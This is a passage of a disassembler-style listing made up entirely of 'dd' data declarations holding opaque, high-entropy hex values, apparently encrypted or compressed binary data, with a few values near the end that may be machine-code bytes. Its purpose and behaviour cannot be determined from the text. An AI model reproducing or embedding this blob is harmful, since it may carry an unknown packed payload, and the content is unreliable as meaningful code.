		dd 768D667Ch, 8DA202F9h, 0E67D01Bh, 132B08D6h, 2EC951BFh
		dd 82084862h, 173Fh, 0D96D8F67h, 36CAEAC3h, 962A4420h
		dd 0F98DA180h, 58EC08E3h, 5E0797Fh, 653F55E9h, 0BF9DB347h
		dd 22FF15A9h, 13C3760Ah, 0A52EE196h, 99286D13h,	1C6C424Dh
		dd 20B7D3AAh, 1E30CAF0h, 816CDE40h, 33185210h, 39CDD6B5h
		dd 95EE027Ch, 0EA0A8A83h, 0EF5813A5h, 0C24019Fh, 76385978h
		dd 92E5B426h, 14338846h, 0C4A72402h, 8A13AABEh,	0F557E921h
		dd 0AABE8378h, 96E64F13h, 0AABE6219h, 7587F013h, 0AABE827Ch
		dd 1F391513h, 263A19E7h
		dd 0DA8A0DEEh, 792D3E96h, 73FFBA45h, 731BD8h, 4D440000h
		dd 9D1A6A44h, 1442A0EAh, 0E49B1878h, 721442A0h,	0CB78B009h
		dd 1442A030h, 366E8663h, 39718D68h, 84FBAB82h, 0DB338CAAh
		dd 0DF311789h, 6242B258h, 0C8F3B350h, 0FB334F2Ah, 8C734E60h
		dd 49E05BAEh, 2Dh, 0A0857772h, 88071442h, 5E38D626h, 5B6D0840h
		dd 8EA2007Dh, 14B013A6h, 0D7AC2936h, 8313A68Fh,	0D468C11Ah
		dd 687E5CFAh, 0D3E501DCh, 15F492FEh, 1C2EC901h,	0C81896F9h
		dd 0A682A54Bh, 92CA3313h, 3BCFE7C4h, 0CCE8C361h, 0CDE7F994h
		dd 0EA88D8F0h, 1FBAF210h, 9E79470Dh, 0B9943282h, 0B8CA659Dh
		dd 55118EF2h, 61F50DEAh, 1E566E4Bh, 0D6F4847h, 0A682EB90h
		dd 93FE6713h, 13A682ECh, 0F68D0A6Ah, 6413A682h,	0F949A2FBh
		dd 429BAA7Ch, 0D9087814h, 6687E2F4h, 845EF24Bh,	67F307E6h
		dd 0A13C7488h, 8098758Fh, 0ADC39B48h, 43C063BCh, 0C6E65803h
		dd 743E8B31h, 4B284254h, 0AC899F33h, 2CCA5C94h,	0D27394Dh
		dd 2BE21A2Eh, 0CB691054h, 0CCC4CDF0h, 0CC071E57h, 6A476173h
		dd 85640252h, 273D5F71h, 68FA324Ah, 9BD3EFCAh, 0C4CBEE00h
		dd 0C31D9AEAh, 919459F0h, 0A70018F5h, 820FD13h,	0A2802D0h
		dd 0B5F16ED2h, 41D5EDCAh, 0E6364E2Bh, 0CD700784h, 75DE9BA1h
		dd 0C9C69D63h, 661895E5h, 0EC9C45FFh, 0BC953383h, 3DC9649Ch
		dd 740F4761h, 4D2A4062h, 4A3B212Eh, 24F25270h, 5FAF086Bh
		dd 82B3DBEDh, 0B9548CA6h, 7DE9CB59h, 7F8A56Bh, 7D93854Ch
		dd 0F6D34AFAh, 80B8CCABh, 9E3C8CE5h, 7597A9C1h,	336B815Fh
		dd 366E8A65h, 8772FF8h,	26C4142Ah, 422FC4Bh, 9D7799ABh
		dd 0D30B21FFh, 0D9112705h, 7D59E53Eh, 7E902B63h, 38708664h
		dd 3F778B6Ah, 447C9471h, 0BE7C9776h, 1186AF48h,	0B1538BE4h
		dd 6E38A3DDh, 3FBCDE4Ch, 0AC294B07h, 5EA785F8h,	7B0F6882h
		dd 0A9602FA1h, 0F9418BB7h, 0FA5DCF99h, 0DDEF45FBh, 97CFE5C3h
		dd 8FDFCFC0h, 61947C12h, 5991FAB4h, 0A49BCBA2h,	61CB0C6h
		dd 47D91129h, 0A0B2CEA9h, 0FC9AA986h, 33CE0620h, 0E99833C8h
		dd 0DD369FBBh, 0E69E67A5h, 32829A77h, 68A0B694h, 11DE6DCDh
		dd 0E13C7FB1h, 29D6ADCFh, 0AE30B05Fh, 44h, 17F492D7h, 7425C7FFh
		dd 0F2B2B7ACh, 9BB5C720h, 0B957A7BDh, 0EE89C1DFh, 503F16DCh
		dd 0B7910E5Eh, 0BD13A606h, 0EB09584Dh, 3790D5BAh, 32D5A3h
		dd 0E95B0000h, 0E9D36408h, 0C23F8F07h, 13A6B03Dh, 491E3099h
		dd 0EE6B7856h, 1442A009h, 0CB035CC5h, 0C3139BF4h, 0CDE7C361h
		dd 0EFE8FA95h, 13A6B99Dh, 8556EA53h, 107FC145h,	3D14E9Eh
		dd 0D113A68Ch, 73F5935h, 0FF0A136Ch, 0E7159B78h, 61B1FD92h
		dd 31E286E4h, 58E355EFh, 80D11722h, 0A50EEDFFh,	0BEDEB755h
		dd 800FE6ACh, 4261DE2Eh, 1017DDD8h, 0DCB957A7h,	0FDD674C4h
		dd 0AA0AA5DDh, 1D4810FBh, 799BAD55h, 0DF672D9Fh, 82B64DCAh
		dd 0BB24181Dh, 272F715Bh, 95A7BD9Bh, 7A539E7Bh,	2E87225Ah
		dd 9DDD40DAh, 0A72D6D65h, 136Bh, 0AD41633Bh, 0A9EBE97h
		dd 6AFE18F4h, 0CD617554h, 2CC0DCB7h, 0D9B4AD53h, 391329BDh
		dd 9371871Bh, 0F6D3E97Dh, 0E7974ADEh, 0A531956Ah, 6DFC4113h
		dd 0FE18F492h, 6B7D9572h, 42A18D72h, 0AFD84A14h, 0E202585Dh
		dd 127DA0B2h, 77DA4C9Ch, 519F859h, 8DD232CDh, 411F316Dh
		dd 0A67D86C4h, 9BEB5413h, 0FBD61FFDh, 800CA7DFh, 0BA558DA1h
		dd 0D9B7CD61h, 0E0BD8BC3h, 0EAB074C8h, 0D1116A18h, 12EA4Bh
		dd 0C2E4BC00h, 1F3F182Eh, 7F99758Bh, 0E2F6D5EBh, 415D384Eh
		dd 352ED4ADh, 94AA3E5Ah, 0F2089CBAh, 546AFE14h,	18CB5F77h
		dd 3214EB68h, 7DC213A5h, 75424DEEh, 42A003F8h, 0D66CF14h
		dd 0B60240BDh, 67D013A6h, 0B553B517h, 0EC87BFD9h, 0A6B7FA81h
		dd 0DDEF5813h, 56D3EAC3h, 13A6B7A1h, 9BB5912Dh,	166FC863h
		dd 0BFCC54C6h, 0AC3DD26Dh, 8962789Ah, 86633169h, 0A6801E6Eh
		dd 129E1781h, 95EEB2CAh, 0EAB0C25Dh, 35285C33h,	4EEC3C5Ch
		dd 26485A70h, 474E9AFFh, 59325E67h, 0FD6F0139h,	9FE57EF2h
		dd 0DD6946h, 23DDD6E8h,	0B613A61Eh, 8D66D98Dh, 0EAC3D96Dh
		dd 0D4BB92CAh, 3CB9CCA7h, 13A61E47h, 1951AA13h,	58D5257Eh
		dd 14419B7Ch, 0DB4D9D06h, 7CDB762Ch, 0CAA632A0h, 0CBDD78B0h
		dd 0BF198BEDh, 0CDACEA98h, 77546E80h, 0D8B5CB5Fh, 0A795B9h
		dd 0D0E265E9h, 523C8D0Bh, 6CA4FD56h, 64B4FA95h,	71856402h
		dd 0E4CD665Fh, 28911C69h, 455D3AD8h, 0A6BE9BB1h, 0B6F8976Eh
		dd 0F0CBE966h, 30990412h, 656C52DCh, 0BD438352h, 11BFh
		dd 59ED0FE7h, 0B64A6A43h, 16AAC4A0h, 790D2100h,	0D86C8863h
		dd 8560F9FFh, 0E5BFD569h, 3F1D33C7h, 0A27F9529h, 9343F68Ah
		dd 0A5336116h, 19A8ED13h, 42A08977h, 213E1C14h,	0F1A40D69h
		dd 4CE03993h, 0EC931072h, 6A1442BFh, 25B5A101h,	5B7F7BF0h
		dd 45692649h, 92E778F5h, 42AB13A5h, 5E7854F2h, 0F492F9CAh
		dd 26C80016h, 43C66A81h, 0EA76CF98h, 1EB9F111h,	7CE310Ch
		dd 9607E7DFh, 30000001h, 246B434Dh, 0A06B1592h,	0C1A81442h
		dd 0D339927Ah, 3092F795h, 42A0CCB3h, 0F218A14h,	0FCD5A6ECh
		dd 0B009A4DCh, 4D0AC169h, 0A4166648h, 933740F6h, 1AEF0181h
		dd 0FD19F492h, 81182AC5h, 0E59A959Ah, 7E1CE55Fh, 804E86A4h
		dd 0B65189A5h, 53AC4B5Dh, 0D5000000h, 2269454Dh, 0C91AF492h
		dd 0FF9AD2EEh, 83D36EA6h, 42A07106h, 6274DD14h,	0A0750784h
		dd 72DB1442h, 0BC43C022h, 1A1442A0h, 304825B1h,	764B5DF8h
		dd 30923992h, 42A0CCB3h, 0F218A14h, 0B8FF19F5h,	329E5B70h
		dd 24000000h, 0A0BE45C2h, 0B31C1442h, 454DCCA1h, 0F4922269h
		dd 2EC90115h, 3FC13E1Ch, 541442A0h, 3992266Dh, 532D7A56h
		dd 0A03AC13Eh, 2F981442h, 70367DD6h, 17F4925Bh,	0A1D9EDCCh
		dd 0C09BAD06h, 0E55FE56Fh, 5DA8h, 484DD100h, 15921F66h
		dd 1442A06Bh, 5A6E4DE9h, 0E72E8722h, 51AF492h, 42A0F388h
		dd 9DF65F14h, 5654AD8Bh, 92165D7Dh, 0AA51CE30h,	281442A0h
		dd 0A0AF54BFh, 0C22B1442h, 0F492B0B0h, 31C3FB1Bh, 42A0CFB4h
		dd 0C9228B14h, 609EE2B7h, 24000000h, 8B265AB2h,	0C15C94B0h
		dd 0D7651561h, 484DF0C5h, 30921F66h, 0FB02B2BEh, 32CD051Fh
		dd 46BCD5D2h, 7B164E6Ch, 65171022h, 0AA144294h,	94A84FCCh
		dd 8A261442h, 0DF3891B1h, 0CE309298h, 0D065C5Ch, 0E954613Ah
		dd 14427D12h, 0F0CB57C0h, 56EDC2D4h, 92165D7Dh,	0A0CCB330h
		dd 218A1442h, 9EFA0F0Fh, 0FFFFFE4Eh, 6C424D2Dh,	8AA07E1Ch
		dd 0F90B1FFEh, 8E47B91Bh, 898A15E3h, 3089A781h,	0E5A1251Eh
		dd 8AF313A5h, 0A4C29C3Ah, 0E1BFD16Ch, 0DA576643h, 13AAE625h
		dd 9FEF48B1h, 0D40C2401h, 0BACEAD39h, 0B3D5E782h, 455F3BD9h
		dd 2D811033h, 0E69B60DDh, 0CE3713AAh, 0E610E996h, 0AE8713AAh
		dd 0AA88568Eh, 0CEA55C94h, 3082DA96h, 16765CCEh, 0C78B7927h
		dd 0AAE0A75Ch, 3ECA3313h, 97344664h, 0DD50AFEFh, 2E85D873h
		dd 0AE000000h, 42A08477h, 1A320F14h, 0A0EF9186h, 6E211442h
		dd 0AD73F040h, 6B13A6A6h, 32946E02h, 0A6A6CEB5h, 97238C13h
		dd 0BD8FA1BBh, 0A6h, 39424D4Ch,	99E9425Eh, 0F6D41DFBh
		dd 977587E0h, 0A681201Ah, 75C52E13h, 4FE3F9D7h,	36125B39h
		dd 0B48BC31Ch, 683D3DBh, 14410496h, 1F461FBDh, 7B3231FBh
		dd 4E86DF13h, 59C2A1B3h, 778D6B09h, 0B19709E3h,	0F067D810h
		dd 0DEB0517h, 0A7E8BFF7h, 73AB707h, 531C6E54h, 1FFC9AEAh
		dd 27997307h, 33B64D6Fh, 738D9F7Fh, 0E2A7E96h, 0DB5A4A21h
		dd 0E85159Bh, 49210000h, 0A47D9327h, 0FEDAF084h, 5B3A50E4h
		dd 0C29DB347h, 0B33912A6h, 0FA3BF9Ah, 6D011FF9h, 0CF637957h
		dd 30C4DCB9h, 0AB50CD7Dh, 2713A536h, 795653E2h,	35972961h
		dd 42A0C3B8h, 14268F14h, 0CD051DFAh, 9F9EC68Fh,	3F16AAC2h
		dd 0E05C1DC0h, 4D15h, 424D3E00h, 25216265h, 55E4414h, 57DA38B5h
		dd 3FA813A6h, 115C3907h, 42E41C34h, 97F76E7Ah, 0D32C8595h
		dd 344C293Fh, 446A25FCh, 40C577F4h, 1A8C1442h, 0F2CE27CDh
		dd 0F0F978D8h, 0F46989E9h, 0CEFEE674h, 6341DDBCh, 217A154Dh
		dd 2092BC8Dh, 9E48AE0Fh, 0BCBB27A8h, 9083A909h,	0D0A9C3D5h
		dd 2D061CB0h, 57B0006h,	17707166h, 364A29C7h, 0C5B15E24h
		dd 9014424Dh, 0E8FA18F2h, 66E3F0CEh, 14424D91h,	0BA0B2702h
		dd 8A64F851h, 0E5C112ECh, 9FF893CBh, 97BACC67h,	0E966B6F8h
		dd 13A5C87Bh, 0B44BC82Ah, 2213AAD2h, 5FC8A7B9h,	7B95710Fh
		dd 6A9516E7h, 2CE7DFE5h, 5D95B58Eh, 0A0A94ECBh,	0BC2514C2h
		dd 23B25163h, 0DB000001h, 246B434Dh, 0A06B1592h, 0C1A81442h
		dd 8720927Ah, 4005C0C2h, 6B9D2585h, 0EC8A2CE0h,	0D3A3FCDAh
		dd 454DF795h, 0A00EF572h, 63CC1442h, 1C1C30Ah, 0A05D229Fh
		dd 90F91442h, 484DA97Eh, 0E9D91F66h, 442A5D77h,	1F31E7A9h
		dd 0E59A954Ah, 2C5BE55Fh, 7B000000h, 0B657AB09h, 0B3FE8C99h
		dd 2593A8DCh, 0A3788AE3h, 2269454Dh, 0A06B1592h, 80E91442h
		dd 56399239h, 7019607Ah, 169E5Bh, 4D2D0000h, 92226945h
		dd 42A06B15h, 7AC1A814h, 7A563992h, 5B701960h, 0FE18F492h
		dd 0E61E11ECh, 49D7E55Fh, 0
		dd 1F66484Dh, 0B5923092h, 3D758D6Ah, 761149A2h,	0A0916B64h
		dd 0D63F1442h, 0AC20928Fh, 9EE0E526h, 9B2555A3h, 26CEE33Bh
		dd 5DF8304Ah, 0BB14F204h, 115F492h, 21C2EC9h, 1BB90929h
		dd 4015273Dh, 319E5B70h, 2D000000h, 1F66484Dh, 0B6923092h
		dd 5EC9649Ch, 1442A099h, 0DCBACC35h, 42A09D5Fh,	0BB0BF214h
		dd 0EF27411Dh, 926D4254h, 5D7D5639h, 0B4527016h, 0D4A9BBDBh
		dd 0FFFEC59Eh, 424D2DFFh, 279F1C6Ch, 6D13A525h,	7EDEF2D1h
		dd 6A8E8399h, 0DD2D86A6h, 0B64A623Fh, 64B4FA97h, 97FE8502h
		dd 0F35C13A5h, 975126A3h, 94FD13A5h, 5027A482h,	0FE13A597h
		dd 0C9B05D95h, 4E13A597h, 54225A70h, 95275F77h,	0A5976318h
		dd 1186EF13h, 0EE460A3Ah, 0AF5A9DDh, 0CBD874E6h, 28h, 0A08477F4h
		dd 320F1442h, 4F2CCA1Ah, 1464FF37h, 42A0E097h, 0F3056E14h
		dd 0C385F7D1h, 1850C66Ah, 0C3F8CADCh, 87000000h, 0F875424Dh
		dd 1442A003h, 0BD0D66CFh, 0A6BD3640h, 0E3339C13h, 0BD516745h
		dd 63B3C9A7h, 0BFD1E7C5h, 416D22F9h, 18F18FF1h,	0F5EDE6F8h
		dd 0A714413Bh, 1A8CEE3Eh, 6558528h, 7BB5A95Bh, 75B5A707h
		dd 4136B303h, 0D1B89CFh, 9A7892A4h, 0FCDAF084h,	382496E6h
		dd 96027938h, 8A1CE2F4h, 62FB3918h, 798BE4C7h, 25753956h
		dd 6ED091A8h, 4925C11Ch, 0E886D62Fh, 31A3F30Bh,	0AFF2E197h
		dd 5F81938Ah, 45216C49h, 0C47ED22Bh, 395A4ADAh,	0B2D73F9h
		dd 0A1790000h, 0FCD5EB7Fh, 563248DCh, 0B392A83Ch, 1AF50B9Fh
		dd 6B916AFEh, 67FB17F2h, 0C5597751h, 27BBD1AFh,	881C3411h
		dd 0D3A825D5h, 7F13A53Ah, 7956AB3Ah, 90C7E35Ah,	0B50EEDEEh
		dd 0D0ECC765h, 0F466F8BEh, 34587F77h, 0B8D2E437h, 4D8BC3DBh
		dd 805DC084h, 330F5635h, 0ED88C019h, 0D6290094h, 0FFE05BBDh
		dd 58h,	6C424D28h, 0BD3D9F1Ch, 0EA5313A6h, 0E807E4B2h
		dd 21BC77F3h, 0F04099E2h, 21597952h, 58B0617Fh,	7FD89328h
		dd 58354B6Dh, 0D8760840h, 11ACE4FAh, 0FBB3DCFFh, 14340DABh
		dd 50C22402h, 0CD3DA2A4h, 3C354768h, 1442F0CAh,	51FFB99h
		dd 412032CDh, 78B0C8A5h, 1FF084DDh, 0C95D7D56h,	42A026D4h
		dd 859B7914h, 0FABDD2F1h, 2E66805Ch, 0A0532893h, 63FF1442h
		dd 0BC156E86h, 2574EF6Ch, 9D3B13A5h, 0D46FA7C1h, 2A7AE3C2h
		dd 296B08Ch, 0E56A9531h, 8E2CE7DFh, 0C35E96B4h,	17B12B1h
		dd 923B0000h, 0A0CCB330h, 0EE8A1442h, 28C3FB0Fh, 0F69ABDCFh
		dd 159271B8h, 1442A06Bh, 0D622BAA8h, 0CC29AE8Fh, 0F34C6240h
		dd 923992ACh, 5CBA2320h, 0CADC7624h, 92517F2Dh,	0EF0115F4h
		dd 0A1E8C6CCh, 0B3923092h, 61CC679Fh, 1442A09Ah, 0EBDCF38h
		dd 66484D57h, 839B7816h, 0C99EB04Bh, 0F492F2D9h, 11ECFE18h
		dd 0E55FE61Eh, 72D7h, 0F4920000h, 0CAEDFF17h, 0BED6B3C8h
		dd 73F5332h, 92CC136Ch,	0F760BE20h, 62741186h, 0E1750784h
		dd 7BDB1442h, 42E179FEh, 0C6CD514h, 0F0082CF7h,	60A700ECh
		dd 7A563992h, 98721060h, 47A7427Ah, 9083A81h, 320719E9h
		dd 0B9923092h, 5BC66199h, 1442A0A4h, 0A3B79632h, 2338384Ah
		dd 0FC1AF492h, 451729C4h, 2Ah, 17EC69CBh, 0C31442A0h, 4D73485Ah
		dd 365D3645h, 92D4F86Fh, 88E13A7Eh, 6B159241h, 0A81442A0h
		dd 39927AC1h, 19607A56h, 9A955B70h, 1CE55FE5h, 528AA07Eh
		dd 2C06A5B7h, 2F000000h, 1F66484Dh, 0A06B1592h,	80E91442h
		dd 56399239h, 31512A7Dh, 5B7091D8h, 4A9Eh, 0AD862400h
		dd 3BC03D8Dh, 971442A0h, 92471C2Eh, 0DD76A420h,	0A6B87EFEh
		dd 8B691283h, 49A23D75h, 32209202h, 680F6BBDh, 61FCACDEh
		dd 409975D7h, 29D3502Eh, 66144281h, 2092387Fh, 0CCD00597h
		dd 7C5A6C9Ch, 5D7D5623h, 9E5B7016h, 0FFFFFE75h,	6C424D2Dh
		dd 25279F1Ch, 46D13A5h,	1A3916B4h, 546B493Eh, 11BF728h
		dd 49D52EC9h, 65F9526Eh, 52304B46h, 5B36043Ch, 3D8DE63Fh
		dd 0A5E13BC0h, 0F62E9713h, 0A5E1B049h, 5A0A1B13h, 0BB40BD1Fh
		dd 1713A5E1h, 3EC19CAEh, 97D874DCh, 21h, 0A08477C0h, 320F1442h
		dd 0EB68CA1Ah, 1442A014h, 0FCFA9DB3h, 0BC0D5015h, 511F4153h
		dd 0BCh, 6C424DE0h, 0A1119F1Ch,	0D63F13A6h, 0ED0AE886h
		dd 3E8B36B8h, 67FB548Eh, 255D7351h, 0CFB43193h,	8B13A6D3h
		dd 0A2ED1022h, 3F1EBC0Ch, 0CC58F32Bh, 6A1D9EDh,	16B416F4h
		dd 0F812EE39h, 948D9Fh,	52144156h, 993799E9h, 0D26DA5BBh
		dd 0B2C8A6C0h, 2BD2441Eh, 6F9AC856h, 0A65DDA2Ah, 341B89D3h
		dd 0C19FB9CBh, 96A455A4h, 87E02FB4h, 9717784Fh,	6977CA47h
		dd 7AE31C6Eh, 97AF8C2Ah, 0F810ED03h, 4A96A8A4h,	0A329695Ah
		dd 7B3h, 65F91BF3h, 0C256764Fh,	22B6D0ACh, 85192D0Ch, 0E478946Fh
		dd 916CE50Bh, 0F1CBE175h, 4B293FD3h, 0AE8BA135h, 9F4F0296h
		dd 0A53D5D22h, 25B4F913h, 522E7956h, 6B141031h,	217A1EA4h
		dd 0E5C290C8h, 8E5795CDh, 2831A3D6h, 0CB69832Fh, 66435D6Fh
		dd 0EA22421Bh, 8B62F64Fh, 0E05BA374h, 3661h, 0A21F8100h
		dd 1442C2DDh, 29FE1079h, 1C6C424Dh, 0A68B219Fh,	0CE066F13h
		dd 3185CA3Ch, 9AB8A912h, 394BA4BEh, 0A69DBF40h,	4BFB0C13h
		dd 77D4EC13h, 3DE9D8h, 4D120000h, 9F1C6C42h, 13A6AD3Dh
		dd 0E4B2EA53h, 3D9FEF07h, 0A6AE3BC0h, 641B9813h, 0F213A6AEh
		dd 0BDCF3889h, 90A8859Bh, 0A00E8158h, 0AFE5D350h, 0A731442h
		dd 0D2A9C76h, 0BCD15ADBh, 459E7385h, 0A3147BCDh, 42A05126h
		dd 3B94FD14h, 770C89EBh, 0E31442A0h, 0B0671A7Ah, 82035A94h
		dd 47159270h, 1513A658h, 15B3A3ACh, 0B8921E3Ah,	4B8F889Ah
		dd 0AD3D1EAh, 65778F6Ch, 11614D42h, 5F82289Fh, 0A1C42C0Dh
		dd 0AEC92927h, 502E4084h, 390C7CEEh, 416E47FDh,	0C29307E1h
		dd 7082C7FEh, 0FD9C1977h, 2E7EE7DBh, 4797B790h,	7D9F35CAh
		dd 2638A1C4h, 0A8068960h, 8279F658h, 50C47D9Fh,	7AF7D5E7h
		dd 0C399A45Dh, 0D270C029h, 3349DDF5h, 80053756h, 7986A16Ch
		dd 0EA8ACC20h, 5B9B99D9h, 63ED5h, 6E906800h, 0CBEBC4DAh
		dd 2B452137h, 8EA28197h, 0ED09E4FAh, 0E17A8059h, 4056EA06h
		dd 9EB44866h, 16AAC0h, 0C4770B23h, 3FE09714h, 296E13A5h
		dd 6179569Ah, 657F5B29h, 4136B315h, 0D1442A0h, 967092A4h
		dd 0A50519F8h, 183FB40h, 0D2F5072Bh, 3FA1F1BDh,	46663FDDh
		dd 7308730Eh, 0DF144234h, 7B6B6476h, 2913A5B1h,	0DEBA88C0h
		dd 0B1F070C4h, 9496A15h, 5C683h, 0E608E000h, 43633C52h
		dd 0A3BD99AFh, 61AF90Fh, 65815C72h, 59F2F8D1h, 0B8CE627Eh
		dd 162CC0DEh, 788E2238h, 3CEF839Bh, 3F680F8Ch, 0A1E613A5h
		dd 6C424D12h, 253B9F1Ch, 0F05913A5h, 0F40EEAB8h, 1645CAA0h
		dd 0BD43836Ah, 57Bh, 9D31532Bh,	0FA8EAE87h, 5AEE08E4h
		dd 0BD516544h, 1CB0CCA7h, 0C9A4BD43h, 290319ADh, 8361770Bh
		dd 0E6C3D96Dh, 0D7873ACEh, 0A53FA55Ah, 5DEC3113h, 1C6C424Dh
		dd 24DB58BAh, 0B21442A0h, 5E3E3749h, 0F413A525h, 0C5FCC484h
		dd 1D768EECh, 2A3B17E5h, 0A5B2D6ADh, 0C21B8413h, 16BA066Eh
		dd 951B5B6Ah, 517h, 195B78Fh, 5EF212EBh, 0BE526C48h, 21B5C9A8h
		dd 8014300Bh, 2D0841A7h, 8D677D11h, 0E7C5DB6Fh,	4A273DD1h
		dd 3BEB9E32h, 0A50039BEh, 0C1509513h, 11617956h, 0A04D32AFh
		dd 0A0091442h, 1DFAC88Eh, 23FFCD05h, 2803D109h,	0CE95D40Ch
		dd 3BB8DA96h, 0D4B2500Bh
		dd 0B592ACBEh, 16F3099Dh, 6719C6FEh, 0F21442A0h, 40DE9DC9h
		dd 1C364866h, 0B993273Fh, 2A87B47h, 7D8F2E8Bh, 366E8663h
		dd 0DF738B68h, 5126A305h, 0FD14424Fh, 126B8561h, 0FCB2DD00h
		dd 36CD4AACh, 6914424Fh, 0B720718Fh, 404AC7A5h,	0E13A65Ch
		dd 3FC06DA5h, 8C13A7A3h, 0A7BF9C3Ah, 25C2D46Fh,	1AC23D61h
		dd 36D4D877h, 132F0A5Dh, 0D5E782BAh, 6036h, 0F4925F00h
		dd 0F9C7FF17h, 33CE061Ah, 0EAA5C8DAh, 639BB591h, 0A0AF54D1h
		dd 0C22B1442h, 5EC01069h, 0CAEBF9ECh, 128F34F2h, 1442DC6Dh
		dd 9B2780E9h, 9790A2C2h, 13A6D5D1h, 51FE369Fh, 13A626AEh
		dd 0A959CB1Dh, 334B287Eh, 261287D3h, 0F7E1239h,	0A0B20BF3h
		dd 0E41B4303h, 0F1D8772Bh, 0DEh, 6A79561Ah, 42A016EDh
		dd 25BC414h, 6F1040B2h,	0C0FBAE89h, 3F1AE8AEh, 0E759EB23h
		dd 5FC6ADFFh, 0BFD9EB83h, 187ACAE2h, 42DBE49Bh,	0A9097214h
		dd 6E642919h, 5E243619h, 79BB390h, 426C2A12h, 0F110ED14h
		dd 4C25DE4Ah, 0A93D960Dh, 8F6BB693h, 0DE41C75h,	5FDC2C82h
		dd 13A6C671h, 0DD98AE20h, 4BE2AEDh, 16AA13F2h, 0C61698F7h
		dd 6610E764h, 22BE13A6h, 58F32B47h, 920FEDFFh, 14408CBEh
		dd 650353BCh, 42623B8Ah, 643F55E9h, 1B8AF448h, 0ABEB6232h
		dd 35625h, 56785000h, 0B3D3ACC2h, 132D091Fh, 768A697Fh
		dd 0D5F1CCE2h, 0C9826841h, 283ED2EEh, 869C304Eh, 0E8FE92A8h
		dd 0AC5FF30Bh, 1F87FFCh, 115613A5h, 77209282h, 8274B01Ah
		dd 50A9C7A1h, 2D49243Eh, 8EA68399h, 424D29FAh, 0E99F1C6Ch
		dd 0A713A6A9h, 0A659063Eh, 2513A6AAh, 0D32C5014h, 4D87807h
		dd 0CBh, 15F4922Dh, 0BA37C901h,	1442A0C5h, 43CF2891h, 7D185064h
		dd 5C74516Bh, 5F7B5624h, 0B6339527h, 1442A1C1h,	1912248Dh
		dd 1442A525h, 6BFF17F4h, 28607855h, 20703E51h, 0A6AB35A3h
		dd 66FA6313h, 16664847h, 40521E99h, 0ABFB6414h,	5B37CC49h
		dd 3AA31B88h, 4AE84A28h, 4E1C546Eh, 0F0025B6Fh,	8FDFFBD6h
		dd 98DA651Dh, 0B9CBB19Bh, 8AA68197h, 33095236h,	71F73762h
		dd 277h, 0A135572Fh, 0FE92B28Bh, 5EF20CE8h, 0C1556948h
		dd 20B4D0ABh, 0CDA8A147h, 2D071DB1h, 87657B0Fh,	0EAC7DD71h
		dd 0DB8B3ED2h, 0A502995Eh, 61F03513h, 0F5F7B56h, 0A04B30ADh
		dd 6B071442h, 0A03B7391h, 0FD133547h, 0D4AC0120h, 6AC61CA7h
		dd 56AC7D11h, 5B296179h, 0DF26F7Eh, 0C91442A0h,	54730760h
		dd 8523733Bh, 9E7C8EAAh, 0A68BA321h, 5088F113h,	0E4F4CBEh
		dd 756AE8E0h, 0A9447C9Ch, 0BA453E50h, 1113A607h, 0E7184400h
		dd 0B1D87776h, 0BE73A13h, 0C56098F1h, 5314B3h, 4D3D0000h
		dd 7E1C6C42h, 967486A4h, 41D5C234h, 1D1EE562h, 53BC1442h
		dd 7A2394F3h, 0B1A96F68h, 0CA6813A6h, 7049D5EDh, 6B7D1850h
		dd 35D3238Ch, 6F0A4256h, 11EA975Dh, 8213A6BDh, 835189A9h
		dd 9F568EA6h, 7CD49CC8h, 7C833B6Bh, 59D877F4h, 1Bh, 0A0857782h
		dd 88071442h, 0A759D626h, 2D13A680h, 80AB50CDh,	0BE2713A6h
		dd 4D00D165h, 9F1C6C42h, 13A680C9h, 0D2A92688h,	4513A680h
		dd 7E195167h, 0D3B2C42Dh, 2A0326Ah, 4FD0F23h, 13A6807Bh
		dd 0D787BFD0h, 0D877FD28h, 18ADh, 8477D600h, 61442A0h
		dd 58D52589h, 13A680A6h, 97B58F2Dh, 0A93DA685h,	6C424DD8h
		dd 25079F1Ch, 0ED4D13A5h, 0A5268B70h, 85DE4713h, 0A2BA9735h
		dd 0FC1BF80Eh, 62ABA39h, 0C9015A5Ah, 0C1119DF2h, 0F22A4A23h
		dd 0A9F7150h, 2A83EA6Fh, 9ABD3A18h, 0E81442CDh,	0B4912F7Fh
		dd 0CE5328A5h, 96FF1B8Dh, 0B693A93Dh, 72D4669Eh, 0CEEC9310h
		dd 16A1B8Dh, 8DCEE196h,	0F2046D1Bh, 9EEEC0CFh, 0A7C39E3Ch
		dd 9B60DD6Fh, 371B8DCEh, 6A6375CEh, 1C69D94Ch, 473CB91Bh
		dd 1303F126h, 29411EAAh, 654456F1h, 45EAA8FCh, 73B35A4Ah
		dd 92EDh, 1A3C1400h, 77977086h,	0D7F1CDE3h, 3A4E2D43h
		dd 99B590A6h, 8DC62C05h, 0EC0296B2h, 4A60F412h,	0ACC2566Ch
		dd 7023B7CFh, 4BC43C0h,	0D51A13A5h, 75424D46h, 1A851B03h
		dd 0A914A1E0h, 1442BAD2h, 6EBE1780h, 0A53F5AF1h, 77AF1813h
		dd 20B4CCA9h, 0DD152D0Ah, 0CFAF6F30h, 0F6945210h, 54F10317h
		dd 0EDCB6910h, 0CEABC5D7h, 2F0C22B6h, 0DB4DDF17h, 84D20623h
		dd 0FC162811h, 1AD1091Dh, 3F1C0343h, 0A07D9327h, 8CA5088h
		dd 59000000h, 0BA97358Dh, 56BB90A2h, 56245C7Eh,	5B296179h
		dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah
		dd 74427A94h, 0EE437B9Bh, 5E1F68h, 24348900h, 3C6768h
		dd 240C8900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
		dd 7468243Ch, 8B07E787h, 0C481240Ch, 4,	243C8B54h, 4C481h
		dd 0AD680000h, 89000073h, 481240Ch, 758CC24h, 8478F20h
		dd 0CC086F81h, 0FF200758h, 835F2434h, 0C8B04C4h, 0E3895324h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FCD80EE9h, 524D4AFFh
		dd 75B830EEh, 307E7A5h,	0CCE0FFC5h, 0CD7C7403h,	0E535CDD0h
		dd 950FC465h, 1E641D5Dh, 22601CC6h, 9348B1F1h, 57694CCh
		dd 0B53E9217h, 6B48609Dh, 965C6853h, 0F935850Ch, 0F00E4DC2h
		dd 803F1074h, 0E5489E89h, 2A3C345Ch, 53AABE2h, 0E625DD72h
		dd 6C123ECEh, 0E81D3847h, 12h, 19B1ED0Ch, 0F385CE32h, 98FD8CFBh
		dd 0BB918B52h, 8B666B7Dh, 81665AF8h, 812D74CBh,	692DC2h
